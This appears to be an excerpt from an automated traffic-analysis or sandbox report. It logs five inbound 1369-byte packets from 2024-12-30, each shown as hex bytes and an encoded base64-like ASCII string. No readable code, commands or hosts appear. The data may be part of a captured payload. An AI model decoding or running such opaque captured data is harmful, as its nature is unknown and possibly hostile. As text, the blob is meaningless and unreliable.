54 6e 70 68 5a 6c 68 55 65 30 56 70 56 6b 64 45 59 6b 6d 51 55 6f 43 41 Data Ascii: s++zNTCmLrc15mZseGencyzpKGo1ailrOmsqbC7sKWwv+SyuObUsvbctr3XysG62wEA4MHdwNXGBg747d3EBA/98NMWAwvTExfsHfQTGxQaFu72/ifc5BgMKRgI7CscJgYI9wYxKfMe+woxPAEi+f5BJ0InQTMGDEobPDIMO0RDPy4VGE8pFUZPTVUfM1c+VS8zSDE6OTtfPDwpW0RBLG9AQy84a0d0cFBzPlhUTnphZlhUe0VpVkdEYkmQUoCA
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 50 47 33 61 37 55 32 37 54 4b 31 64 75 64 33 39 54 53 70 74 37 68 32 2b 72 42 33 61 7a 53 78 4d 44 6d 78 64 44 4b 36 73 6d 7a 78 4f 33 4d 73 4d 7a 52 32 50 34 45 2b 51 63 46 2f 4e 33 55 41 4f 76 45 79 38 37 68 42 4d 33 51 41 50 7a 30 45 66 48 7a 35 75 58 4e 35 41 33 6d 43 51 6f 64 39 77 33 73 2f 66 45 6e 35 68 76 79 49 2f 51 6d 35 2b 6f 72 36 42 7a 78 41 43 6b 45 45 2b 34 70 4c 52 51 79 42 7a 73 66 4e 53 49 32 41 43 30 36 4f 78 51 34 4b 54 70 44 4f 55 4d 4c 50 6b 49 4c 53 6c 4e 44 45 53 67 53 53 79 67 73 53 30 63 39 56 79 68 50 57 56 5a 62 55 7a 5a 45 49 56 51 6b 56 69 70 67 5a 53 78 51 58 55 42 62 52 6c 5a 71 4b 57 4e 6c 62 6c 56 46 62 31 78 33 53 58 52 52 57 48 68 34 51 47 56 30 63 57 70 73 69 6d 32 46 69 6b 65 46 68 34 71 4d 67 31 46 68 61 59 46 35 64 Data Ascii: PG3a7U27TK1dud39TSpt7h2+rB3azSxMDmxdDK6smzxO3MsMzR2P4E+QcF/N3UAOvEy87hBM3QAPz0EfHz5uXN5A3mCQod9w3s/fEn5hvyI/Qm5+or6BzxACkEE+4pLRQyBzsfNSI2AC06OxQ4KTpDOUMLPkILSlNDESgSSygsS0c9VyhPWVZbUzZEIVQkVipgZSxQXUBbRlZqKWNlblVFb1x3SXRRWHh4QGV0cWpsim2FikeFh4qMg1FhaYF5d
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 56 73 37 7a 58 76 72 48 41 35 2b 6e 43 78 64 6e 59 78 62 71 36 76 73 2f 43 72 63 37 68 77 73 4c 4f 32 4c 7a 38 7a 75 44 4b 32 4f 7a 65 30 2f 53 2b 34 64 44 38 31 39 50 6f 41 41 4c 66 36 73 6a 79 33 66 50 69 46 75 66 79 44 4e 62 6c 39 65 58 76 36 75 76 74 34 76 44 67 4a 4f 48 33 39 41 4d 44 46 51 72 32 4c 51 44 38 4d 52 4c 74 41 53 55 70 43 50 67 35 44 79 67 4d 47 77 38 4b 47 67 34 63 47 43 49 53 50 68 34 53 50 44 34 56 4a 78 73 6f 49 79 6c 46 49 42 77 78 52 46 59 76 4d 6b 5a 46 4d 69 63 6e 4b 7a 77 76 47 6a 74 4f 4c 79 38 37 52 53 6c 70 4f 30 30 33 52 56 6c 4c 51 47 45 72 54 6a 31 6f 55 45 52 54 56 6d 6c 4b 56 30 70 75 56 6c 35 4f 64 6c 64 68 59 32 64 63 5a 45 46 71 67 56 68 38 66 57 6c 65 57 34 35 77 5a 46 36 46 63 32 61 48 68 58 5a 72 64 70 42 61 62 61 Data Ascii: Vs7zXvrHA5+nCxdnYxbq6vs/Crc7hwsLO2Lz8zuDK2Oze0/S+4dD819PoAALf6sjy3fPiFufyDNbl9eXv6uvt4vDgJOH39AMDFQr2LQD8MRLtASUpCPg5DygMGw8KGg4cGCISPh4SPD4VJxsoIylFIBwxRFYvMkZFMicnKzwvGjtOLy87RSlpO003RVlLQGErTj1oUERTVmlKV0puVl5OdldhY2dcZEFqgVh8fWleW45wZF6Fc2aHhXZrdpBaba
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 78 62 75 37 78 72 6d 37 77 4d 33 6a 35 63 66 4d 30 61 37 49 30 4f 76 6c 7a 74 62 76 39 64 33 61 33 63 2f 4e 33 39 45 47 32 2b 4c 6c 41 75 44 6d 36 75 2f 66 36 75 30 4f 35 75 34 49 42 75 76 78 30 4e 4c 74 2b 52 41 4f 39 66 76 39 49 75 77 41 41 69 62 35 41 75 41 6d 43 67 66 35 4b 76 34 4c 4a 4f 37 39 45 42 49 45 43 42 4d 58 48 41 77 56 4d 43 34 53 47 76 67 36 46 43 41 34 4f 68 6b 6d 50 44 59 63 4b 43 6f 63 49 79 6f 4a 53 68 34 76 53 45 34 32 4d 68 46 47 4d 6a 67 36 57 6a 51 38 56 46 34 33 50 30 4e 49 4e 30 52 47 58 6b 42 48 59 47 35 46 53 57 52 6d 52 31 4a 6f 59 6b 78 54 62 48 4a 4c 57 46 70 75 53 6c 74 30 50 32 4a 67 65 48 35 52 5a 48 78 44 58 32 64 71 58 47 4a 70 62 33 52 6b 62 30 31 50 62 6e 4e 6d 68 6d 74 34 6b 46 74 2b 66 4a 53 4f 64 6e 39 79 6c 6e 75 Data Ascii: xbu7xrm7wM3j5cfM0a7I0Ovlztbv9d3a3c/N39EG2+LlAuDm6u/f6u0O5u4IBuvx0NLt+RAO9fv9IuwAAib5AuAmCgf5Kv4LJO79EBIECBMXHAwVMC4SGvg6FCA4OhkmPDYcKCocIyoJSh4vSE42MhFGMjg6WjQ8VF43P0NIN0RGXkBHYG5FSWRmR1JoYkxTbHJLWFpuSlt0P2JgeH5RZHxDX2dqXGJpb3Rkb01PbnNmhmt4kFt+fJSOdn9ylnu
2024-12-30 07:07:15 UTC	1369	IN	Data Raw: 71 71 6e 38 2b 62 51 30 74 2b 70 73 71 2f 37 37 74 6a 61 35 37 62 5a 37 76 33 68 78 4e 48 69 31 75 51 48 34 2b 6e 6d 32 74 30 43 32 63 6e 6c 79 76 45 49 43 75 62 30 42 76 4c 71 2b 42 76 33 2f 66 72 74 45 76 77 43 49 68 37 30 38 76 62 39 34 67 6f 72 41 42 72 69 34 77 37 78 46 41 30 47 4b 76 63 58 50 44 77 5a 47 79 6a 32 47 69 38 67 49 67 55 69 4a 67 45 6d 52 79 77 5a 43 77 59 34 54 53 6f 71 51 69 34 55 49 30 42 5a 4e 54 64 45 57 6a 5a 4c 4c 44 34 67 50 6b 4a 6b 51 6d 4d 34 4e 52 73 69 56 43 70 47 52 6c 35 4b 4d 43 70 63 62 46 46 4f 56 6a 49 7a 4d 58 52 76 56 6c 5a 75 57 6a 4d 36 62 44 34 2f 50 59 42 37 5a 57 64 30 52 6b 64 46 68 49 4e 71 61 6f 4a 75 56 49 6d 41 55 6c 4e 52 6b 49 39 35 65 34 68 61 57 31 6d 55 6c 33 35 2b 6c 6f 4a 6f 68 35 52 6d 5a 32 57 67 Data Ascii: qqn8+bQ0t+psq/77tja57bZ7v3hxNHi1uQH4+nm2t0C2cnlyvEICub0BvLq+Bv3/frtEvwCIh708vb94gorABri4w7xFA0GKvcXPDwZGyj2Gi8gIgUiJgEmRywZCwY4TSoqQi4UI0BZNTdEWjZLLD4gPkJkQmM4NRsiVCpGRl5KMCpcbFFOVjIzMXRvVlZuWjM6bD4/PYB7ZWd0RkdFhINqaoJuVImAUlNRkI95e4haW1mUl35+loJoh5RmZ2Wg